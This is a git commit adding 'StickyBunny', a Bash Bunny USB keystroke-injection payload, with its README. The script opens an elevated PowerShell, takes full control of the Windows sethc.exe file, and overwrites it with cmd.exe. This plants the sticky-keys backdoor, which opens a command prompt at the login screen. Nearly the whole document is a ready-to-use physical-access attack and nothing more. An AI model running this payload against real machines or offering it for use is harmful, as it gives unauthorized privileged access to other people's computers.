Added stickyBunny payload (#232)

This commit is contained in:
InvaderSquibs 2017-07-24 15:00:33 -06:00 committed by Sebastian Kinne
parent c8b892badb
commit 3c2dd4ac1e
2 changed files with 85 additions and 0 deletions

View File

@ -0,0 +1,64 @@
#!/bin/bash
#
# Title: StickyBunny
# Author: Squibs
# Version: 0.3
# Plug2Pwn: 18s
#
# Creates the sticky keys back door on a windows machine
#
# Blue...............Preparing Attack
# Yellow.............Attacking
# Green..............GTFO
#Open Admin Powershell
ATTACKMODE HID
LED B 200
Q GUI
Q DELAY 500
Q STRING POWERSHELL
Q DELAY 1000
Q CTRL-SHIFT ENTER
Q DELAY 2000
Q LEFTARROW
Q DELAY 100
Q ENTER
Q DELAY 1200
#Give Permissions for sethc.exe to current user
LED Y 500
Q STRING "\$Acl = Get-Acl sethc.exe"
Q ENTER
Q DELAY 100
Q STRING "\$Ar = New-Object system.security.accesscontrol.filesystemaccessrule(\$env:UserName,\"FullControl\",\"Allow\")"
Q ENTER
Q DELAY 100
Q STRING "\$Acl.SetAccessRule(\$Ar)"
Q ENTER
Q DELAY 100
Q STRING "Set-Acl sethc.exe \$Acl"
Q ENTER
Q DELAY 100
#Copy over CMD to SETHC.EXE (Save sethc.exe as sethc.exe.bak if you want to be nice)
Q STRING "xcopy sethc.exe sethc.exe.bak"
Q ENTER
Q DELAY 1200
Q STRING "F"
Q DELAY 100
Q STRING "xcopy cmd.exe sethc.exe"
Q ENTER
Q DELAY 200
Q STRING "Y"
Q ENTER
Q DELAY 200
# GTFO
Q STRING EXIT
Q ENTER
#Sync Drive
sync
#Trap is clean!
LED G

View File

@ -0,0 +1,21 @@
# StickyBunny
* Author: Squibs
* Version: 0.1
* Target: Windows
* Time: 19s
## Description
Changes the sticky keys executeable to a CMD executatble allowing CMD to be opened at login page.
## Configuration
None.
## STATUS
| LED | Status |
| ------------------ | -------------------------------------------- |
| Blue (blinking) | Setting up |
| Purple (blinking) | Running Attack |
| Green (solid) | Complete |